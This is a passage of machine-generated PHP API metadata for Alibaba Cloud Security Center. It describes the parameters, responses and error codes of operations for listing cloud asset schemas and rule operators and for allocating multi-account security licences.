<=: less than or equal to'."\n" .'- For LONG type: '."\n" .'1. NotIn: not in the list '."\n" .'2. Equals: equals '."\n" .'3. In: in the list '."\n" .'4. NotEquals: does not equal '."\n" .'5. >: greater than '."\n" .'6. >=: greater than or equal to '."\n" .'7. <: less than '."\n" .'8. <=: less than or equal to'."\n" .'- For INTEGER type (repeated): '."\n" .'1. NotIn: not in the list '."\n" .'2. Equals: equals '."\n" .'3. In: in the list '."\n" .'4. NotEquals: does not equal '."\n" .'5. >: greater than '."\n" .'6. >=: greater than or equal to '."\n" .'7. <: less than '."\n" .'8. <=: less than or equal to', 'type' => 'string', 'example' => 'Contains', ], 'InputPattern' => [ 'description' => 'Operation data types. Values: '."\n" .'- LIST type: '."\n" .'1. For Name as LIST_CONTAINS, the value is: LIST '."\n" .'2. For Name as LIST_LENGTH_GT, the value is: PRIMITIVE '."\n" .'3. For Name as LIST_LENGTH_LT, the value is: PRIMITIVE '."\n" .'4. For Name as LIST_NOT_CONTAINS, the value is: LIST'."\n" .'- STRING type: '."\n" .'1. For Name as STRING_NOT_IN, the value is: LIST '."\n" .'2. For Name as STRING_EQ, the value is: PRIMITIVE '."\n" .'3. For Name as STRING_IN, the value is: LIST '."\n" .'4. For Name as STRING_NOT_EQ, the value is: PRIMITIVE'."\n" .'- BOOLEAN type: '."\n" .'1. For Name as BOOLEAN_NOT_IN, the value is: LIST '."\n" .'2. For Name as BOOLEAN_EQ, the value is: PRIMITIVE '."\n" .'3. For Name as BOOLEAN_IN, the value is: LIST '."\n" .'4. For Name as BOOLEAN_NOT_EQ, the value is: PRIMITIVE'."\n" .'- FLOAT type: '."\n" .'1. For Name as FLOAT_NOT_IN, the value is: LIST '."\n" .'2. For Name as FLOAT_EQ, the value is: PRIMITIVE '."\n" .'3. For Name as FLOAT_IN, the value is: LIST '."\n" .'4. For Name as FLOAT_NOT_EQ, the value is: PRIMITIVE '."\n" .'5. For Name as FLOAT_GT, the value is: PRIMITIVE '."\n" .'6. For Name as FLOAT_GTE, the value is: PRIMITIVE '."\n" .'7. For Name as FLOAT_LT, the value is: PRIMITIVE '."\n" .'8. For Name as FLOAT_LTE, the value is: PRIMITIVE'."\n" .'- DOUBLE type: '."\n" .'1. For Name as DOUBLE_NOT_IN, the value is: LIST '."\n" .'2. For Name as DOUBLE_EQ, the value is: PRIMITIVE '."\n" .'3. For Name as DOUBLE_IN, the value is: LIST '."\n" .'4. For Name as DOUBLE_NOT_EQ, the value is: PRIMITIVE '."\n" .'5. For Name as DOUBLE_GT, the value is: PRIMITIVE '."\n" .'6. For Name as DOUBLE_GTE, the value is: PRIMITIVE '."\n" .'7. For Name as DOUBLE_LT, the value is: PRIMITIVE 8. For Name as DOUBLE_LTE, the value is: PRIMITIVE'."\n" .'- INTEGER type: '."\n" .'1. For Name as INTEGER_NOT_IN, the value is: LIST '."\n" .'2. For Name as INTEGER_EQ, the value is: PRIMITIVE '."\n" .'3. For Name as INTEGER_IN, the value is: LIST '."\n" .'4. For Name as INTEGER_NOT_EQ, the value is: PRIMITIVE '."\n" .'5. For Name as INTEGER_GT, the value is: PRIMITIVE '."\n" .'6. For Name as INTEGER_GTE, the value is: PRIMITIVE '."\n" .'7. For Name as INTEGER_LT, the value is: PRIMITIVE '."\n" .'8. For Name as INTEGER_LTE, the value is: PRIMITIVE'."\n" .'- LONG type: '."\n" .'1. For Name as LONG_NOT_IN, the value is: LIST '."\n" .'2. For Name as LONG_EQ, the value is: PRIMITIVE '."\n" .'3. For Name as LONG_IN, the value is: LIST '."\n" .'4. For Name as LONG_NOT_EQ, the value is: PRIMITIVE '."\n" .'5. For Name as LONG_GT, the value is: PRIMITIVE '."\n" .'6. For Name as LONG_GTE, the value is: PRIMITIVE '."\n" .'7. For Name as LONG_LT, the value is: PRIMITIVE '."\n" .'8. For Name as LONG_LTE, the value is: PRIMITIVE'."\n" .'- INTEGER type (repeated): '."\n" .'1. For Name as INTEGER_NOT_IN, the value is: LIST '."\n" .'2. For Name as INTEGER_EQ, the value is: PRIMITIVE '."\n" .'3. For Name as INTEGER_IN, the value is: LIST '."\n" .'4. For Name as INTEGER_NOT_EQ, the value is: PRIMITIVE '."\n" .'5. For Name as INTEGER_GT, the value is: PRIMITIVE '."\n" .'6. For Name as INTEGER_GTE, the value is: PRIMITIVE '."\n" .'7. For Name as INTEGER_LT, the value is: PRIMITIVE '."\n" .'8. For Name as INTEGER_LTE, the value is: PRIMITIVE', 'type' => 'string', 'example' => 'PRIMITIVE', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AccountIdNotExist', 'errorMessage' => 'AccountId not exist', ], [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"MatchTypeOperators\\": [\\n {\\n \\"Type\\": \\"LIST\\",\\n \\"MatchOperators\\": [\\n {\\n \\"Name\\": \\"LIST_CONTAINS\\",\\n \\"Value\\": \\"CONTAINS\\",\\n \\"ShowName\\": \\"Contains\\",\\n \\"InputPattern\\": \\"PRIMITIVE\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'Get the list of cloud product configuration rule operators.', 'description' => 'Get the list of cloud asset data operators.', 'translator' => 'machine', ], 'ListCloudAssetSchemas' => [ 'summary' => '获取云产品资产结构列表', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasLFD8D4', ], ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'CloudAssetTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of cloud assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The types of cloud assets.'."\n", 'type' => 'object', 'properties' => [ 'AssetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS)'."\n" .'* **1**: Server Load Balancer (SLB)'."\n" .'* **3**: ApsaraDB RDS'."\n" .'* **4**: ApsaraDB for MongoDB (MongoDB)'."\n" .'* **5**: ApsaraDB for Redis (Redis)'."\n" .'* **6**: Container Registry'."\n" .'* **8**: Container Service for Kubernetes (ACK)'."\n" .'* **9**: Virtual Private Cloud (VPC)'."\n" .'* **11**: ActionTrail'."\n" .'* **12**: Alibaba Cloud CDN (CDN)'."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **14**: Apsara Devops'."\n" .'* **16**: Anti-DDoS'."\n" .'* **17**: Web Application Firewall (WAF)'."\n" .'* **18**: Object Storage Service (OSS)'."\n" .'* **19**: PolarDB'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" .'* **21**: Microservices Engine (MSE)'."\n" .'* **22**: File Storage NAS (NAS)'."\n" .'* **23**: Data Security Center (DSC)'."\n" .'* **24**: Elastic IP Address (EIP)'."\n" .'* **25**: IDaaS EIAM'."\n" .'* **26**: PolarDB-X'."\n" .'* **27**: Elasticsearch', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud service or asset. Valid values:'."\n" ."\n" .'* **0**: ECS'."\n" ."\n" .' * **0**: instance'."\n" .' * **1**: disk (storage)'."\n" .' * **2**: security group'."\n" ."\n" .'* **1**: SLB'."\n" ."\n" .' * **0**: SLB'."\n" .' * **1**: Application Load Balancer (ALB)'."\n" ."\n" .'* **3**: ApsaraDB RDS'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **4**: MongoDB'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **5**: Redis'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **6**: Container Registry'."\n" ."\n" .' * **1**: Enterprise Edition'."\n" .' * **2**: Personal Edition'."\n" ."\n" .'* **8**: ACK'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **9**: VPC'."\n" ."\n" .' * **0**: NAT gateway'."\n" .' * **1**: Elastic IP address (EIP)'."\n" .' * **2**: VPN'."\n" .' * **3**: VPC Flow Logs'."\n" ."\n" .'* **11**: ActionTrail'."\n" ."\n" .' * **0**: trail'."\n" ."\n" .'* **12**: CDN'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" ."\n" .' * **0**: certificate'."\n" ."\n" .'* **14**: Apsara Devops'."\n" ."\n" .' * **0**: organization'."\n" ."\n" .'* **16**: Anti-DDoS'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **17**: WAF'."\n" ."\n" .' * **0**: domain name'."\n" ."\n" .'* **18**: OSS'."\n" ."\n" .' * **0**: bucket'."\n" ."\n" .'* **19**: PolarDB'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **21**: MSE'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **22**: NAS'."\n" ."\n" .' * **0**: file system'."\n" ."\n" .'* **23**: DSC'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **24**: EIP'."\n" ."\n" .' * **0**: Anycast EIP'."\n" ."\n" .'* **25**: IDaaS EIAM'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **26**: PolarDB-X'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **27**: Elasticsearch'."\n" ."\n" .' * **0**: instance'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'Vendor' => [ 'description' => 'The server type. Valid values:'."\n" ."\n" .'* **0**: a cloud asset provided by Alibaba Cloud'."\n" .'* **1**: a cloud asset outside Alibaba Cloud'."\n" .'* **2**: a cloud asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: a cloud asset provided by a third-party service provider'."\n" .'* **8**: a lightweight cloud asset'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'DataNames', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of asset data names', 'type' => 'array', 'items' => [ 'description' => 'Asset data name.', 'type' => 'string', 'required' => false, 'example' => 'ACS_ECS_Disk', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'AssociatedDataOnly', 'in' => 'query', 'schema' => [ 'description' => 'Whether to filter out attributes that can be associated with other assets.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for requesting and receiving messages, with a default value of **zh**. The values can be: - **zh**: Chinese - **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the call was successful. Values: '."\n" .'- **true**: The call was successful. '."\n" .'- **false**: The call failed.', 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'Current page number.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '54', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'CloudAssetSchemas' => [ 'description' => 'List of asset structure definitions', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'DataName' => [ 'description' => 'Asset structure definition name', 'type' => 'string', 'example' => 'ACS_ECS_Disk', ], 'Vendor' => [ 'description' => 'The source of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: a third-party cloud server'."\n" .'* **2**: a server in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS).'."\n" .'* **1**: Server Load Balancer (SLB).'."\n" .'* **3**: ApsaraDB RDS.'."\n" .'* **4**: ApsaraDB for MongoDB.'."\n" .'* **5**: ApsaraDB for Redis.'."\n" .'* **6**: Container Registry.'."\n" .'* **8**: Container Service for Kubernetes.'."\n" .'* **9**: Virtual Private Cloud (VPC).'."\n" .'* **11**: ActionTrail.'."\n" .'* **12**: Alibaba Cloud CDN (CDN).'."\n" .'* **13**: Certificate Management Service.'."\n" .'* **14**: Apsara Devops.'."\n" .'* **15**: Resource Access Management (RAM).'."\n" .'* **16**: Anti-DDoS.'."\n" .'* **17**: Web Application Firewall (WAF).'."\n" .'* **18**: Object Storage Service (OSS).'."\n" .'* **19**: PolarDB.'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL.'."\n" .'* **21**: Microservices Engine (MSE).'."\n" .'* **22**: File Storage NAS (NAS).'."\n" .'* **23**: Data Security Center (DSC).'."\n" .'* **24**: Elastic IP Address (EIP).'."\n" .'* **25**: Identity as a Service (IDaaS)-Employee Identity and Access Management (EIAM).'."\n" .'* **26**: PolarDB-X.'."\n" .'* **27**: Elasticsearch.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Properties' => [ 'description' => 'Current asset structure definition text.', 'type' => 'string', 'example' => '[{\\"associatedData\\":[{\\"assetSubType\\":100,\\"assetType\\":0,\\"dataName\\":\\"ACS_ECS_Instance\\",\\"properties\\":[{\\"name\\":\\"InstanceId\\",\\"path\\":\\"InstanceId\\"}],\\"vendor\\":0}],\\"description\\":\\"The ID of the instance to which the disk is attached.\\",\\"example\\":\\"i-bp67acfmxazb4q****\\",\\"name\\":\\"InstanceId\\",\\"type\\":\\"STRING\\",\\"withAssociatedData\\":true},{\\"description\\":\\"Disk name\\",\\"example\\":\\"testDiskName\\",\\"name\\":\\"DiskName\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Only encrypted disks\\",\\"example\\":\\"false\\",\\"name\\":\\"Encrypted\\",\\"type\\":\\"BOOLEAN\\"},{\\"description\\":\\"Disk status\\",\\"example\\":\\"In_use\\",\\"name\\":\\"Status\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Disk category\\",\\"example\\":\\"cloud_ssd\\",\\"name\\":\\"Category\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Disk type\\",\\"example\\":\\"system\\",\\"name\\":\\"Type\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Specifies whether to set an automatic snapshot policy for the disk.\\",\\"example\\":\\"false\\",\\"name\\":\\"EnableAutomatedSnapshotPolicy\\",\\"type\\":\\"BOOLEAN\\"},{\\"description\\":\\"The ID of the automatic snapshot policy.\\",\\"example\\":\\"sp-bp67acfmxazb4p****\\",\\"name\\":\\"AutoSnapshotPolicyId\\",\\"type\\":\\"STRING\\"},{\\"description\\":\\"Disk, local disk, or elastic ephemeral disk ID\\",\\"example\\":\\"d-bp18um4r4f2fve24****\\",\\"name\\":\\"DiskId\\",\\"type\\":\\"STRING\\"}]', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AccountIdNotExist', 'errorMessage' => 'AccountId not exist', ], [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 54,\\n \\"Count\\": 10\\n },\\n \\"CloudAssetSchemas\\": [\\n {\\n \\"DataName\\": \\"ACS_ECS_Disk\\",\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": 1,\\n \\"Properties\\": \\"[{\\\\\\\\\\\\\\"associatedData\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"assetSubType\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"assetType\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"dataName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"ACS_ECS_Instance\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"properties\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"InstanceId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"path\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"InstanceId\\\\\\\\\\\\\\"}],\\\\\\\\\\\\\\"vendor\\\\\\\\\\\\\\":0}],\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"The ID of the instance to which the disk is attached.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp67acfmxazb4q****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"InstanceId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"withAssociatedData\\\\\\\\\\\\\\":true},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk name\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"testDiskName\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"DiskName\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Only encrypted disks\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"false\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Encrypted\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"BOOLEAN\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk status\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"In_use\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Status\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk category\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"cloud_ssd\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Category\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk type\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"system\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Type\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Specifies whether to set an automatic snapshot policy for the disk.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"false\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"EnableAutomatedSnapshotPolicy\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"BOOLEAN\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"The ID of the automatic snapshot policy.\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"sp-bp67acfmxazb4p****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"AutoSnapshotPolicyId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"},{\\\\\\\\\\\\\\"description\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"Disk, local disk, or elastic ephemeral disk ID\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"example\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"d-bp18um4r4f2fve24****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"DiskId\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\"}]\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => '获取资产结构定义列表。', 'translator' => 'machine', ], 'UpdateMultiUserInstances' => [ 'summary' => 'Modify Multi-Account Instance Configuration', 'path' => '', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'MemberInstances', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Member instances.', 'type' => 'array', 'items' => [ 'description' => 'Structure.', 'type' => 'object', 'properties' => [ 'OptType' => [ 'description' => 'Operation type. Values: '."\n" .'- **ADD**: Add '."\n" .'- **CHANGE**: Change'."\n" .'- **DEL**: Delete', 'type' => 'string', 'required' => false, 'example' => 'CHANGE', ], 'ChargeType' => [ 'description' => 'Charge type, values:'."\n" .'* **PREPAID**: Prepaid.'."\n" .'* **POSTPAID** (default): Postpaid.', 'type' => 'string', 'required' => false, 'example' => 'PREPAID', ], 'AliUid' => [ 'description' => 'The Alibaba Cloud account UID of the member.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1766185894104675', ], 'InstanceId' => [ 'description' => 'The Cloud Security Center instance ID purchased by the member account.', 'type' => 'string', 'required' => false, 'example' => 'sas-p0anpb26my69', ], 'Version' => [ 'description' => 'The version of Cloud Security Center protection to be bound. Values: '."\n" .'- **1**: Free Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Antivirus Edition '."\n" .'- **7**: Flagship Edition', 'type' => 'string', 'required' => false, 'example' => '7', ], 'Status' => [ 'description' => 'Status of the member account instance. Values: '."\n" .'- **1**: Valid. '."\n" .'- **2**: Invalid.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'SlsCapacity' => [ 'description' => 'Log storage capacity allocated to the member, in GB.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '10', ], 'AntiRansomwareCapacity' => [ 'description' => 'Anti-ransomware capacity allocated to the member, in GB.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '10', ], 'RaspCapacity' => [ 'description' => 'Application protection count allocated to the member. Unit: per month.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '0', ], 'CspmCapacity' => [ 'description' => 'Cloud platform configuration check scan count allocated to the member. Unit: times per month.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '0', ], 'ThreatAnalysisCapacity' => [ 'description' => 'Threat analysis capacity allocated to the member. Unit: GB.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '10', ], 'ThreatAnalysisFlow' => [ 'description' => 'Threat analysis and response log access traffic allocated to the member. Unit: GB/day.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '0', ], 'ImageScanCapacity' => [ 'description' => 'Image scan authorization count allocated to the member.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], 'WebLockCapacity' => [ 'description' => 'Web tamper-proof authorization count allocated to the member.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '0', ], 'HoneypotCapacity' => [ 'description' => 'Honeypot authorization count allocated to the member.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '0', ], 'SdkCapacity' => [ 'description' => 'Malicious file detection SDK authorization count allocated to the member.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '10', ], 'VersionSummary' => [ 'description' => 'Member account authorization usage information.', 'type' => 'array', 'items' => [ 'description' => 'Structure.', 'type' => 'object', 'properties' => [ 'Version' => [ 'description' => 'Version of the Cloud Security Center for the member account. Values: '."\n" .'- **1**: Free Edition '."\n" .'- **3**: Enterprise Edition'."\n" .'- **5**: Advanced Edition'."\n" .'- **6**: Antivirus Edition '."\n" .'- **7**: Flagship Edition '."\n" .'- **8**: Multiple Versions '."\n" .'- **10**: Only Purchase Value-Added Services', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], 'EcsCount' => [ 'description' => 'Number of authorizations allocated to the member.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '3', ], 'CoreCount' => [ 'description' => 'Number of cores authorized for the member.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '6', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Structure.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem location.', 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'Result' => [ 'description' => 'Request processing result.', 'type' => 'array', 'items' => [ 'description' => 'Structure.', 'type' => 'object', 'properties' => [ 'AliUid' => [ 'description' => 'User UID.', 'type' => 'integer', 'format' => 'int64', 'example' => '****185894****', ], 'InstanceId' => [ 'description' => 'The Cloud Security Center instance ID purchased by the member account.', 'type' => 'string', 'example' => 'sas-p0anpb26****'."\n", ], 'UpdateStatus' => [ 'description' => 'Update status. Values: '."\n" .'- **1**：Success '."\n" .'- **2**：Failure', 'type' => 'string', 'example' => '1', ], 'ErrorMessage' => [ 'description' => 'Error message returned when the call fails.', 'type' => 'string', 'example' => 'Failed to update multi-user instance configuration', ], ], ], ], ], ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Result\\": [\\n {\\n \\"AliUid\\": 0,\\n \\"InstanceId\\": \\"sas-p0anpb26****\\\\n\\",\\n \\"UpdateStatus\\": \\"1\\",\\n \\"ErrorMessage\\": \\"Failed to update multi-user instance configuration\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'Authorization Allocation Management', 'translator' => 'machine', ], 'GetInstanceAuthRange' => [ 'summary' => 'Get Instance Authorization Value Range', 'path' => '', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], 'autoTest' 